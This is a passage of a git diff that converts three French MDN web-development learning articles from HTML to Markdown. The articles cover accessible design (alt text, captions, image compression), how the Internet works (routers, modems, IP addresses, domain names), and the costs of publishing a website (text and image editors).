adaptatif ou élastique et que vous ne connaissez pas la largeur par défaut du navigateur, vous pouvez utiliser la propriété <code>max-width</code> pour avoir au maximum 70 caractères par ligne :</p> +Ici, nous avons un `div` avec une classe `container`. Il est possible de mettre en forme le `div` en réglant sa largeur avec la propriété `width` ou en réglant sa largeur maximale afin qu'il ne soit jamais trop grand, grâce à sa propriété `max-width`. Si vous souhaitez avoir un site adaptatif ou élastique et que vous ne connaissez pas la largeur par défaut du navigateur, vous pouvez utiliser la propriété `max-width` pour avoir au maximum 70 caractères par ligne : -<pre class="brush: css">div.container { max-width:70em; }</pre> +```css +div.container { max-width:70em; } +``` -<h3 id="Fournir_un_contenu_alternative_pour_les_images_les_sons_et_les_vidéos">Fournir un contenu alternative pour les images, les sons et les vidéos</h3> +### Fournir un contenu alternative pour les images, les sons et les vidéos -<p>Il arrive fréquemment que les pages web ne contiennent pas seulement du texte.</p> +Il arrive fréquemment que les pages web ne contiennent pas seulement du texte. -<h4 id="Les_images">Les images</h4> +#### Les images -<p>Les images d'une page web peuvent être décoratives ou informatives mais il n'est pas garanti que vos utilisateurs puissent les voir. Par exemple :</p> +Les images d'une page web peuvent être décoratives ou informatives mais il n'est pas garanti que vos utilisateurs puissent les voir. Par exemple : -<ul> - <li>Vos lecteurs souffrant d'une déficience visuelle utiliseront un logiciel lecteur d'écran qui ne pourra restituer que du texte.</li> - <li>Vos lecteurs peuvent naviguer depuis un intranet très strict qui bloque les images provenant d'un {{Glossary("CDN")}}.</li> - <li>Vos lecteurs peuvent avoir désactivé l'affichage des images pour économiser de la bande passante, ceci est notamment valable pour les appareils mobiles (voir ci-après).</li> -</ul> +- Vos lecteurs souffrant d'une déficience visuelle utiliseront un logiciel lecteur d'écran qui ne pourra restituer que du texte. +- Vos lecteurs peuvent naviguer depuis un intranet très strict qui bloque les images provenant d'un {{Glossary("CDN")}}. +- Vos lecteurs peuvent avoir désactivé l'affichage des images pour économiser de la bande passante, ceci est notamment valable pour les appareils mobiles (voir ci-après). -<dl> - <dt>Les images décoratives</dt> - <dd>Ces images servent uniquement à décorer et ne contiennent pas d'informations utiles à la compréhension de la page. Elles pourraient généralement être remplacées par une image d'arrière-plan. Assurez-vous de fournir un texte alternatif vide grâce à l'attribut <code>alt</code> : <code><img src="deco.gif" alt=""></code> afin qu'elles n'encombrent pas le texte.</dd> - <dt>Les images informatives</dt> - <dd>Celles-ci apportent des informations nécessaires à la compréhension de la page, d'où leur nom. Elle peuvent, par exemple, montrer un graphique, décrire le geste d'une personne, etc. Il faut au minimum fournir un attribut <code>alt</code> par rapport au contenu de l'image.</dd> -</dl> +<!----> -<p>Si l'image peut être décrite succintement, vous pouvez fournir un attribut <code>alt</code> qui sera suffisant. En revanche, si l'image ne peut pas être décrite rapidement, il est préférable de fournir un contenu équivalent sous un autre format sur la page (par exemple, si l'image est un graphique en camembert, on pourra fournir le tableau des données numériques) ou sinon, on pourra recourir à un attribut <code>longdesc</code>. La valeur de cet attribut est un URL qui pointe vers une ressource dont le seul but est de décrire en détails le contenu de l'image.</p> +- Les images décoratives + - : Ces images servent uniquement à décorer et ne contiennent pas d'informations utiles à la compréhension de la page. Elles pourraient généralement être remplacées par une image d'arrière-plan. Assurez-vous de fournir un texte alternatif vide grâce à l'attribut `alt` : `<img src="deco.gif" alt="">` afin qu'elles n'encombrent pas le texte. +- Les images informatives + - : Celles-ci apportent des informations nécessaires à la compréhension de la page, d'où leur nom. Elle peuvent, par exemple, montrer un graphique, décrire le geste d'une personne, etc. Il faut au minimum fournir un attribut `alt` par rapport au contenu de l'image. -<div class="note"> -<p><strong>Note :</strong> L'utilisation voire l'existence de <code>longdesc</code> ont toujours été débatues. Veuillez vous référer à la page du W3C' <a href="http://www.w3.org/TR/html-longdesc/">Image Description Extension (longdesc)</a> pour une explication complète et des exemples détaillés.</p> -</div> +Si l'image peut être décrite succintement, vous pouvez fournir un attribut `alt` qui sera suffisant. En revanche, si l'image ne peut pas être décrite rapidement, il est préférable de fournir un contenu équivalent sous un autre format sur la page (par exemple, si l'image est un graphique en camembert, on pourra fournir le tableau des données numériques) ou sinon, on pourra recourir à un attribut `longdesc`. La valeur de cet attribut est un URL qui pointe vers une ressource dont le seul but est de décrire en détails le contenu de l'image. + +> **Note :** L'utilisation voire l'existence de `longdesc` ont toujours été débatues. Veuillez vous référer à la page du W3C' [Image Description Extension (longdesc)](http://www.w3.org/TR/html-longdesc/) pour une explication complète et des exemples détaillés. -<h4 id="AudioVidéo">Audio/Vidéo</h4> +#### Audio/Vidéo -<p>Il est également nécessaire de fournir des alternatives à du contenu multimédia.</p> +Il est également nécessaire de fournir des alternatives à du contenu multimédia. -<dl> - <dt>Sous-titrage</dt> - <dd>Les sous-titres sont utiles à toutes les personnes utilisant votre site qui ne peuvent pas entendre la piste audio. Certaines personnes pourraient avoir des difficultés auditives, d'autres pourraient avoir des écouteurs qui ne fonctionnent pas, d'autres encore pourraient être dans un environnement bruyant.</dd> - <dt>Transcription</dt> - <dd>Les sous-titres ne fonctionnent que lorsqu'on regarde la vidéo. Certaines personnes n'ont pas le temps ou les codecs nécessaires pour regarder la vidéo. De plus, les moteurs de recherches utilisent principalement le texte pour indexer le contenu d'un site web. Pour toutes ces raisons, il est préférable de fournir une transcription du fichier audio/vidéo.</dd> -</dl> +- Sous-titrage + - : Les sous-titres sont utiles à toutes les personnes utilisant votre site qui ne peuvent pas entendre la piste audio. Certaines personnes pourraient avoir des difficultés auditives, d'autres pourraient avoir des écouteurs qui ne fonctionnent pas, d'autres encore pourraient être dans un environnement bruyant. +- Transcription + - : Les sous-titres ne fonctionnent que lorsqu'on regarde la vidéo. Certaines personnes n'ont pas le temps ou les codecs nécessaires pour regarder la vidéo. De plus, les moteurs de recherches utilisent principalement le texte pour indexer le contenu d'un site web. Pour toutes ces raisons, il est préférable de fournir une transcription du fichier audio/vidéo. -<h3 id="Compression_des_images">Compression des images</h3> +### Compression des images -<p>Certains utilisateurs pourraient avoir choisi d'afficher les images mais pourraient disposer d'une connexion instable ou limité (c'est le cas notamment dans les pays en développement et sur les appareils mobiles). Si vous souhaitez que votre site web soit le plus fonctionnel possible, il est nécessaire de compresser les images. Voici quelques outils pour vous aider à cette tâche (logiciels ou services en ligne) :</p> +Certains utilisateurs pourraient avoir choisi d'afficher les images mais pourraient disposer d'une connexion instable ou limité (c'est le cas notamment dans les pays en développement et sur les appareils mobiles). Si vous souhaitez que votre site web soit le plus fonctionnel possible, il est nécessaire de compresser les images. Voici quelques outils pour vous aider à cette tâche (logiciels ou services en ligne) : -<ul> - <li><strong>Logiciels à installer :</strong> <a href="https://imageoptim.com/">ImageOptim</a> (Mac), <a href="http://optipng.sourceforge.net/">OptiPNG</a> (toutes les plates-formes, <a href="http://pmt.sourceforge.net/pngcrush/">PNGcrush</a> (DOS, Unix/Linux)</li> - <li><strong>Outils en lignes : </strong><a href="http://smush.it/">smushit!</a> de Yahoo!, <a href="http://tools.dynamicdrive.com/imageoptimizer/">Online Image Optimizer</a> de Dynamic Drive (qui peut convertir d'un format à un autre si cela est plus efficace en termes de bande passante)</li> -</ul> +- **Logiciels à installer :** [ImageOptim](https://imageoptim.com/) (Mac), [OptiPNG](http://optipng.sourceforge.net/) (toutes les plates-formes, [PNGcrush](http://pmt.sourceforge.net/pngcrush/) (DOS, Unix/Linux) +- **Outils en lignes :** [smushit!](http://smush.it/) de Yahoo!, [Online Image Optimizer](http://tools.dynamicdrive.com/imageoptimizer/) de Dynamic Drive (qui peut convertir d'un format à un autre si cela est plus efficace en termes de bande passante) -<h2 id="Prochaines_étapes">Prochaines étapes</h2> +## Prochaines étapes -<p>Cet article ne décrit que les bases d'un design accessible et universel. Si vous souhaitez aller plus loin dan ce domaine, vous pouvez poursuivre avec <a href="/fr/docs/Learn/Basics_of_UX_Design">les bases de l'ergonomie ou UX (<em>User Experience</em> en anglais)</a>.</p> +Cet article ne décrit que les bases d'un design accessible et universel. Si vous souhaitez aller plus loin dan ce domaine, vous pouvez poursuivre avec [les bases de l'ergonomie ou UX (_User Experience_ en anglais)](/fr/docs/Learn/Basics_of_UX_Design). diff --git a/files/fr/learn/common_questions/how_does_the_internet_work/index.md b/files/fr/learn/common_questions/how_does_the_internet_work/index.md index 8a6850c59d..45dac37c77 100644 --- a/files/fr/learn/common_questions/how_does_the_internet_work/index.md +++ b/files/fr/learn/common_questions/how_does_the_internet_work/index.md @@ -8,89 +8,92 @@ tags: translation_of: Learn/Common_questions/How_does_the_Internet_work original_slug: Apprendre/Fonctionnement_Internet --- -<p>Dans cet article, nous expliquons ce qu'est l'Internet et comment il fonctionne.</p> +Dans cet article, nous expliquons ce qu'est l'Internet et comment il fonctionne. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Aucun, mais nous vous encourageons à lire l'article <a href="/fr/Apprendre/Commencez_votre_projet_web">Commencez votre projet Web</a> avant celui-ci.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Vous apprendrez les rudiments de l'infrastructure technique du Web et vous serez en mesure de distinguer « Internet » et « Web ».</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Aucun, mais nous vous encourageons à lire l'article + <a href="/fr/Apprendre/Commencez_votre_projet_web" + >Commencez votre projet Web</a + > + avant celui-ci. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Vous apprendrez les rudiments de l'infrastructure technique du Web et + vous serez en mesure de distinguer « Internet » et « Web ». + </td> + </tr> + </tbody> </table> -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>L'<strong>Internet</strong> est l'épine dorsale du Web : il s'agit de l'infrastructure technique qui sous-tend le Web. De façon simple, l'Internet est un vaste réseau d'ordinateurs qui communiquent les uns avec les autres.</p> +L'**Internet** est l'épine dorsale du Web : il s'agit de l'infrastructure technique qui sous-tend le Web. De façon simple, l'Internet est un vaste réseau d'ordinateurs qui communiquent les uns avec les autres. -<p><a href="https://fr.wikipedia.org/wiki/Internet#Historique" rel="external">L'histoire des débuts de l'Internet est quelque peu nébuleuse</a>. Tout aurait commencé dans les années 1960 par un projet de recherche subventionné par le département de la Défense des États-Unis. L'Internet serait ensuite devenu, dans les années 1980, une infrastructure publique grâce au soutien de nombreuses universités publiques et entreprises privées. Les diverses technologies qui sous-tendent l'Internet ont évolué au fil du temps, mais son fonctionnement de base a, quant à lui, peu changé. L'Internet demeure un moyen de relier tous les ordinateurs entre eux et de s'assurer que ce lien perdure, peu importe les problèmes qui pourraient toucher le réseau.</p> +[L'histoire des débuts de l'Internet est quelque peu nébuleuse](https://fr.wikipedia.org/wiki/Internet#Historique). Tout aurait commencé dans les années 1960 par un projet de recherche subventionné par le département de la Défense des États-Unis. L'Internet serait ensuite devenu, dans les années 1980, une infrastructure publique grâce au soutien de nombreuses universités publiques et entreprises privées. Les diverses technologies qui sous-tendent l'Internet ont évolué au fil du temps, mais son fonctionnement de base a, quant à lui, peu changé. L'Internet demeure un moyen de relier tous les ordinateurs entre eux et de s'assurer que ce lien perdure, peu importe les problèmes qui pourraient toucher le réseau. -<h2 id="Pédagogie_active">Pédagogie active</h2> +## Pédagogie active -<ul> - <li><a href="https://www.youtube.com/watch?v=7_LPdttKXPc" rel="external">How the internet Works in 5 minutes</a> : Une vidéo d'une durée de 5 minutes réalisée par Aaron Titus afin d'expliquer les rudiments du fonctionnement de l'Internet. (<em>en anglais seulement</em>)</li> -</ul> +- [How the internet Works in 5 minutes](https://www.youtube.com/watch?v=7_LPdttKXPc) : Une vidéo d'une durée de 5 minutes réalisée par Aaron Titus afin d'expliquer les rudiments du fonctionnement de l'Internet. (_en anglais seulement_) -<h2 id="Allons_plus_loin">Allons plus loin</h2> +## Allons plus loin -<h3 id="Un_réseau_de_base">Un réseau de base</h3> +### Un réseau de base -<p>Pour que deux ordinateurs puissent communiquer entre eux, ils doivent être liés soit par un lien physique (généralement par un <a href="https://fr.wikipedia.org/wiki/Ethernet" rel="external">câble Ethernet</a>), soit sans fil (par exemple, via <a href="http://fr.wikipedia.org/wiki/WiFi" rel="external">WiFi</a> ou <a href="http://fr.wikipedia.org/wiki/Bluetooth" rel="external">Bluetooth</a>). Tous ces types de connexions sont possibles sur les ordinateurs modernes.</p> +Pour que deux ordinateurs puissent communiquer entre eux, ils doivent être liés soit par un lien physique (généralement par un [câble Ethernet](https://fr.wikipedia.org/wiki/Ethernet)), soit sans fil (par exemple, via [WiFi](http://fr.wikipedia.org/wiki/WiFi) ou [Bluetooth](http://fr.wikipedia.org/wiki/Bluetooth)). Tous ces types de connexions sont possibles sur les ordinateurs modernes. -<div class="note"> -<p><strong>Note :</strong> À partir de maintenant, nous ne parlerons que de connexions physiques, mais sachez que les explications ci-dessous sont tout aussi valides pour les réseaux sans fil.</p> -</div> +> **Note :** À partir de maintenant, nous ne parlerons que de connexions physiques, mais sachez que les explications ci-dessous sont tout aussi valides pour les réseaux sans fil. -<p><img alt="Two computers linked together" src="internet-schema-1.png"></p> + -<p>Un réseau comme celui illustré ci-haut n'est pas limité à deux ordinateurs. Vous pouvez y connecter autant d'ordinateurs que vous le souhaitez, mais le tout se complique très rapidement. Ainsi, si vous voulez relier, disons, dix ordinateurs entre eux, vous aurez besoin de 45 câbles et de neuf prises sur chaque ordinateur!</p> +Un réseau comme celui illustré ci-haut n'est pas limité à deux ordinateurs. Vous pouvez y connecter autant d'ordinateurs que vous le souhaitez, mais le tout se complique très rapidement. Ainsi, si vous voulez relier, disons, dix ordinateurs entre eux, vous aurez besoin de 45 câbles et de neuf prises sur chaque ordinateur! -<p><img alt="Ten computers all together" src="internet-schema-2.png"></p> + -<p>Afin de résoudre ce problème, chaque ordinateur du réseau est relié à un petit ordinateur bien spécial que l'on appelle <em>routeur</em>. Ce <em>routeur</em> n'a qu'une seule fonction : tout comme un signaleur de gare de train, il s'assure que les messages transmis par un ordinateur donné se rendent au bon ordinateur destinataire. Ainsi, pour envoyer un message à l'ordinateur B, l'ordinateur A transmet d'abord le message au routeur, qui s'assure alors de transférer le message à l'ordinateur B et non à l'ordinateur C.</p> +Afin de résoudre ce problème, chaque ordinateur du réseau est relié à un petit ordinateur bien spécial que l'on appelle _routeur_. Ce _routeur_ n'a qu'une seule fonction : tout comme un signaleur de gare de train, il s'assure que les messages transmis par un ordinateur donné se rendent au bon ordinateur destinataire. Ainsi, pour envoyer un message à l'ordinateur B, l'ordinateur A transmet d'abord le message au routeur, qui s'assure alors de transférer le message à l'ordinateur B et non à l'ordinateur C. -<p>Vous voyez donc que lorsque nous ajoutons un routeur dans notre structure, notre réseau de dix ordinateurs ne requiert alors que de dix câbles, d'une prise par ordinateur et d'un routeur de 10 ports.</p> +Vous voyez donc que lorsque nous ajoutons un routeur dans notre structure, notre réseau de dix ordinateurs ne requiert alors que de dix câbles, d'une prise par ordinateur et d'un routeur de 10 ports. -<p><img alt="Ten computers with a router" src="internet-schema-3.png"></p> + -<h3 id="Un_réseau_de_réseaux">Un réseau de réseaux</h3> +### Un réseau de réseaux -<p>Jusqu'ici tout est beau, mais comment fait-on pour relier des centaines, des milliers ou même des millards d'ordinateurs entre eux ? Bien évidemment, un seul <em>routeur</em> ne pourrait suffire pour tant de connexions. Cependant, si vous avez lu attentivement, vous aurez constaté qu'un <em>routeur</em> n'est en réalité qu'un ordinateur. Serait-ce alors possible de lier deux <em>routeurs</em> ? Oui, absolument, et en voici le résultat!</p> +Jusqu'ici tout est beau, mais comment fait-on pour relier des centaines, des milliers ou même des millards d'ordinateurs entre eux ? Bien évidemment, un seul _routeur_ ne pourrait suffire pour tant de connexions. Cependant, si vous avez lu attentivement, vous aurez constaté qu'un _routeur_ n'est en réalité qu'un ordinateur. Serait-ce alors possible de lier deux _routeurs_ ? Oui, absolument, et en voici le résultat! -<p><img alt="Two routers linked together" src="internet-schema-4.png"></p> + -<p>En liant les ordinateurs à des routeurs, puis les routeurs entre eux, nous avons la capacité d'étendre le réseau indéfiniment.</p> +En liant les ordinateurs à des routeurs, puis les routeurs entre eux, nous avons la capacité d'étendre le réseau indéfiniment. -<p><img alt="Routers linked to routers" src="internet-schema-5.png"></p> + -<p>Un tel réseau s'apparente de près à ce que nous appelons l'Internet, mais il y a un élément manquant. Ce réseau a été conçu pour répondre à nos besoins personnels, mais d'autres réseaux existent également. Vos amis, vos voisins et plein d'autres gens peuvent avoir leurs propres réseaux d'ordinateurs. Cependant, il vous est plutôt impossible de brancher des câbles entre votre maison et le reste de la planète, alors que faire ? Eh bien, il se trouve que votre maison est déjà câblée et liée aux réseaux électrique et téléphonique. L'infrastructure téléphonique, qui lie déjà votre maison au reste de la planète, répond parfaitement à nos besoins. Afin de lier notre réseau à l'infrastructure téléphonique, nous devons utiliser un appareil spécialisé appelé <em>modem</em>. Ce <em>modem</em> convertit l'information de notre réseau en information décodable par l'infrastructure téléphonique et vice-versa.</p> +Un tel réseau s'apparente de près à ce que nous appelons l'Internet, mais il y a un élément manquant. Ce réseau a été conçu pour répondre à nos besoins personnels, mais d'autres réseaux existent également. Vos amis, vos voisins et plein d'autres gens peuvent avoir leurs propres réseaux d'ordinateurs. Cependant, il vous est plutôt impossible de brancher des câbles entre votre maison et le reste de la planète, alors que faire ? Eh bien, il se trouve que votre maison est déjà câblée et liée aux réseaux électrique et téléphonique. L'infrastructure téléphonique, qui lie déjà votre maison au reste de la planète, répond parfaitement à nos besoins. Afin de lier notre réseau à l'infrastructure téléphonique, nous devons utiliser un appareil spécialisé appelé _modem_. Ce _modem_ convertit l'information de notre réseau en information décodable par l'infrastructure téléphonique et vice-versa. -<p><img alt="A router linked to a modem" src="internet-schema-6.png"></p> + -<p>Notre réseau est donc lié à l'infrastructure téléphonique. La prochaine étape consiste alors à transmettre avec succès nos messages au réseau cible. À cette fin, nous allons lier notre réseau à un Fournisseur d'accès à Internet (FAI). Un FAI est une entreprise qui gère des <em>routeurs</em> qui sont liés entre eux et qui ont des droits d'accès aux routeurs d'autres FAI. Le message transmis par notre réseau est ainsi transporté à travers le réseau de FAI afin d'atteindre le réseau cible. Voilà en quoi consiste l'Internet : il s'agit de toute cette infrastructure de réseaux (dans les schémas suivants, ISP signifie FAI, c'est le terme anglais pour fournisseur d'accès).</p> +Notre réseau est donc lié à l'infrastructure téléphonique. La prochaine étape consiste alors à transmettre avec succès nos messages au réseau cible. À cette fin, nous allons lier notre réseau à un Fournisseur d'accès à Internet (FAI). Un FAI est une entreprise qui gère des _routeurs_ qui sont liés entre eux et qui ont des droits d'accès aux routeurs d'autres FAI. Le message transmis par notre réseau est ainsi transporté à travers le réseau de FAI afin d'atteindre le réseau cible. Voilà en quoi consiste l'Internet : il s'agit de toute cette infrastructure de réseaux (dans les schémas suivants, ISP signifie FAI, c'est le terme anglais pour fournisseur d'accès). -<p><img alt="Full Internet stack" src="internet-schema-7.png"></p> + -<h3 id="Localiser_un_ordinateur">Localiser un ordinateur</h3> +### Localiser un ordinateur -<p>Lorsque nous souhaitons transmettre un message à un ordinateur, nous devons préciser de quel ordinateur il s'agit. Par conséquent, chaque ordinateur lié à un réseau possède une adresse unique appelée « adresse IP » (où « IP » signifie <em>Internet Protocol</em>) qui sert à localiser l'ordinateur. Cette adresse est composée d'une série de nombres séparés par des points, par exemple : <code>192.168.2.10</code> ou de lettres et de chiffres séparés par deux points. <code>2001:0db8:85a3:0000:0000:8a2e:0370:7334</code>.</p> +Lorsque nous souhaitons transmettre un message à un ordinateur, nous devons préciser de quel ordinateur il s'agit. Par conséquent, chaque ordinateur lié à un réseau possède une adresse unique appelée « adresse IP » (où « IP » signifie _Internet Protocol_) qui sert à localiser l'ordinateur. Cette adresse est composée d'une série de nombres séparés par des points, par exemple : `192.168.2.10` ou de lettres et de chiffres séparés par deux points. `2001:0db8:85a3:0000:0000:8a2e:0370:7334`. -<p>C'est une méthode très efficace pour les ordinateurs, mais les humains ont un peu plus de difficulté à retenir de telles adresses numériques. Afin de se faciliter la tâche, un libellé alphabétique, appelé <em>nom de domaine, </em>est souvent associé aux adresses IP. Par example, <code>google.com</code> est le nom de domaine associé à l'adresse IP <code>173.194.121.32</code>. L'utilisation d'un nom de domaine est ainsi le moyen le plus facile d'atteindre un ordinateur via l'Internet.</p> +C'est une méthode très efficace pour les ordinateurs, mais les humains ont un peu plus de difficulté à retenir de telles adresses numériques. Afin de se faciliter la tâche, un libellé alphabétique, appelé _nom de domaine,_ est souvent associé aux adresses IP. Par example, `google.com` est le nom de domaine associé à l'adresse IP `173.194.121.32`. L'utilisation d'un nom de domaine est ainsi le moyen le plus facile d'atteindre un ordinateur via l'Internet. -<p><img alt="Show how a domain name can alias an IP address" src="dns-ip.png"></p> + -<h3 id="L'Internet_et_le_web">L'Internet et le web</h3> +### L'Internet et le web -<p>Vous aurez peut-être constaté que lorsque nous naviguons sur le Web avec un navigateur Web, nous utilisons un nom de domaine pour rejoindre un site web. Est-ce donc dire qu'Internet et Web réfèrent à une seule et même notion ? La réponse n'est pas si simple. Comme nous l'avons vu, l'Internet est une infrastructure technique qui lie des milliards d'ordinateurs entre eux. Parmi ces ordinateurs, certains ordinateurs (appelés <em>serveurs Web</em>) peuvent transmettre des messages décodables par les navigateurs Web. Ainsi, l'<em>Internet</em> est une infrastructure, alors que le <em>Web</em> est un service utilisant l'infrastructure de l'Internet. Il importe de mentionner que d'autres services utilisent l'infrastructure de l'Internet, comme le courriel et {{Glossary("IRC")}}.</p> +Vous aurez peut-être constaté que lorsque nous naviguons sur le Web avec un navigateur Web, nous utilisons un nom de domaine pour rejoindre un site web. Est-ce donc dire qu'Internet et Web réfèrent à une seule et même notion ? La réponse n'est pas si simple. Comme nous l'avons vu, l'Internet est une infrastructure technique qui lie des milliards d'ordinateurs entre eux. Parmi ces ordinateurs, certains ordinateurs (appelés _serveurs Web_) peuvent transmettre des messages décodables par les navigateurs Web. Ainsi, l'_Internet_ est une infrastructure, alors que le _Web_ est un service utilisant l'infrastructure de l'Internet. Il importe de mentionner que d'autres services utilisent l'infrastructure de l'Internet, comme le courriel et {{Glossary("IRC")}}. -<h2 id="Étapes_suivantes">Étapes suivantes</h2> +## Étapes suivantes -<ul> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web">Le fonctionnement du Web</a></li> - <li><a href="/fr/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines">Comprendre la différence entre une page web, un site web, un serveur web et un moteur de recherche</a></li> - <li><a href="/fr/Apprendre/Comprendre_noms_de_domaine">Comprendre les noms de domaine</a></li> -</ul> +- [Le fonctionnement du Web](/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web) +- [Comprendre la différence entre une page web, un site web, un serveur web et un moteur de recherche](/fr/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines) +- [Comprendre les noms de domaine](/fr/Apprendre/Comprendre_noms_de_domaine) diff --git a/files/fr/learn/common_questions/how_much_does_it_cost/index.md b/files/fr/learn/common_questions/how_much_does_it_cost/index.md index 23d1f14f68..225263f9da 100644 --- a/files/fr/learn/common_questions/how_much_does_it_cost/index.md +++ b/files/fr/learn/common_questions/how_much_does_it_cost/index.md @@ -8,153 +8,152 @@ tags: translation_of: Learn/Common_questions/How_much_does_it_cost original_slug: Apprendre/Publier_sur_le_Web_combien_ça_coûte --- -<p>Se lancer sur le Web n'est pas aussi bon marché qu'il y paraît à première vue. Dans cet article, nous verrons les différentes dépenses et leur raison d'être.</p> +Se lancer sur le Web n'est pas aussi bon marché qu'il y paraît à première vue. Dans cet article, nous verrons les différentes dépenses et leur raison d'être. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vous devez au préalable connaître<a href="/fr/Apprendre/Quels_logiciels_sont_nécessaires_pour_construire_un_site_web"> les logiciels nécessaires au développement web</a>, les différences entre <a href="/fr/Apprendre/page_vs_site_vs_serveur_vs_moteur_recherche">une page web, un site web, etc</a>. et savoir <a href="/fr/Apprendre/Comprendre_noms_de_domaine">ce qu'est un nom de domaine</a>.</td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Revoir le processus de création complet d'un site web et analyser le coût éventeul de chaque étape.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vous devez au préalable connaître<a + href="/fr/Apprendre/Quels_logiciels_sont_nécessaires_pour_construire_un_site_web" + > + les logiciels nécessaires au développement web</a + >, les différences entre + <a href="/fr/Apprendre/page_vs_site_vs_serveur_vs_moteur_recherche" + >une page web, un site web, etc</a + >. et savoir + <a href="/fr/Apprendre/Comprendre_noms_de_domaine" + >ce qu'est un nom de domaine</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Revoir le processus de création complet d'un site web et analyser le + coût éventeul de chaque étape. + </td> + </tr> + </tbody> </table> -<p>Lorsqu'on lance un site web, on peut très bien ne rien payer ou, au contraire, dépenser de façon astronomique. Dans cet article, nous verrons les coûts associés à chaque étape et ce à quoi s'attendre en fonction de ce qu'on paye (ou qu'on ne paye pas).</p> +Lorsqu'on lance un site web, on peut très bien ne rien payer ou, au contraire, dépenser de façon astronomique. Dans cet article, nous verrons les coûts associés à chaque étape et ce à quoi s'attendre en fonction de ce qu'on paye (ou qu'on ne paye pas). -<h2 id="Aller_plus_loin">Aller plus loin</h2> +## Aller plus loin -<h3 id="Développer_son_site_soi-même">Développer son site soi-même</h3> +### Développer son site soi-même -<h4 id="Logiciels">Logiciels</h4> +#### Logiciels -<h5 id="Éditeurs_de_texte">Éditeurs de texte</h5> +##### Éditeurs de texte -<p>Vous disposez probablement d'un éditeur de texte grâce à votre système d'exploitation (Notepad sur Windows, gedit sur Linux, TextEdit sur Mac). Mais, comme vous le verrez bientôt, un éditeur de texte adapté au développement web (avec une coloration syntaxique et d'autres fonctionnalités) vous rendra un meilleur service.</p> +Vous disposez probablement d'un éditeur de texte grâce à votre système d'exploitation (Notepad sur Windows, gedit sur Linux, TextEdit sur Mac). Mais, comme vous le verrez bientôt, un éditeur de texte adapté au développement web (avec une coloration syntaxique et d'autres fonctionnalités) vous rendra un meilleur service. -<p>De nombreux éditeurs sont gratuits : <a href="http://bluefish.openoffice.nl/">Bluefish</a>, <a href="http://www.barebones.com/products/textwrangler/">TextWrangler</a>, <a href="http://eclipse.org/">Eclipse</a> et <a href="https://netbeans.org/">Netbeans</a>. Certains comme <a href="http://www.sublimetext.com/">Sublime Text</a> peuvent être utilisés librement mais vous serez invité à payer si vous les utilisez continuellement ou dans un cadre professionnel. D'autres comme <a href="https://www.jetbrains.com/phpstorm/">PhpStorm</a> peuvent coûter entre quelques dizaines et plusieurs centaines d'euros en fonction de l'abonnement choisi. Enfin, certains comme <a href="http://www.visualstudio.com/">Microsoft Visual Studio</a> peuvent coûter plusieurs centaines voire plusieurs milliers d'euros selon l'utilisation qui en est faite.</p> +De nombreux éditeurs sont gratuits : [Bluefish](http://bluefish.openoffice.nl/), [TextWrangler](http://www.barebones.com/products/textwrangler/), [Eclipse](http://eclipse.org/) et [Netbeans](https://netbeans.org/). Certains comme [Sublime Text](http://www.sublimetext.com/) peuvent être utilisés librement mais vous serez invité à payer si vous les utilisez continuellement ou dans un cadre professionnel. D'autres comme [PhpStorm](https://www.jetbrains.com/phpstorm/) peuvent coûter entre quelques dizaines et plusieurs centaines d'euros en fonction de l'abonnement choisi. Enfin, certains comme [Microsoft Visual Studio](http://www.visualstudio.com/) peuvent coûter plusieurs centaines voire plusieurs milliers d'euros selon l'utilisation qui en est faite. -<p>Pour commencer, n'hésitez pas à essayer plusieurs éditeurs (même les éditeurs payants disposent souvent d'une version d'essai) pour savoir lequel vous convient le mieux. Si vous prévoyez de n'écrire que du {{Glossary("HTML")}}, {{Glossary("CSS")}} et {{Glossary("Javascript")}} simples, vous pouvez utiliser un éditeur simple.</p> +Pour commencer, n'hésitez pas à essayer plusieurs éditeurs (même les éditeurs payants disposent souvent d'une version d'essai) pour savoir lequel vous convient le mieux. Si vous prévoyez de n'écrire que du {{Glossary("HTML")}}, {{Glossary("CSS")}} et {{Glossary("Javascript")}} simples, vous pouvez utiliser un éditeur simple. -<p>Le prix d'un éditeur ne reflète pas toujours son utilité ou sa qualité. À vous de les essayer et de forger votre avis. Par exemple, Sublime Text n'est pas très cher mais peut être agrémenté d'extensions (<em>plugins</em>) gratuites qui augmentent sensiblement les fonctionnalités qu'il offre.</p> +Le prix d'un éditeur ne reflète pas toujours son utilité ou sa qualité. À vous de les essayer et de forger votre avis. Par exemple, Sublime Text n'est pas très cher mais peut être agrémenté d'extensions (_plugins_) gratuites qui augmentent sensiblement les fonctionnalités qu'il offre. -<h5 id="Éditeurs_graphiques">Éditeurs graphiques</h5> +##### Éditeurs graphiques -<p>Votre système inclue probablement déjà un éditeur ou une visionneuse d'images (Paint pour Windows, Eye of Gnome pour Ubuntu, Preview sur Mac). Mais ces programmes sont limités et vous pourrez avoir besoin de fonctionnalités supplémentaires.</p> +Votre système inclue probablement déjà un éditeur ou une visionneuse d'images (Paint pour Windows, Eye of Gnome pour Ubuntu, Preview sur Mac). Mais ces programmes sont limités et vous pourrez avoir besoin de fonctionnalités supplémentaires. -<p>Les éditeurs graphiques peuvent être gratuits (<a href="http://www.gimp.org/">GIMP</a>), payants (<a href="http://www.paintshoppro.com/">PaintShop Pro</a>, moins de 100 € ) voire assez chers (<a href="https://www.adobe.com/products/photoshop.html">Adobe Photoshop</a> pour plusieurs centaines d'euros).</p> +Les éditeurs graphiques peuvent être gratuits ([GIMP](http://www.gimp.org/)), payants ([PaintShop Pro](http://www.paintshoppro.com/), moins de 100 € ) voire assez chers ([Adobe Photoshop](https://www.adobe.com/products/photoshop.html) pour plusieurs centaines d'euros). -<p>Vous pouvez utiliser n'importe lequel de ces éditeurs. 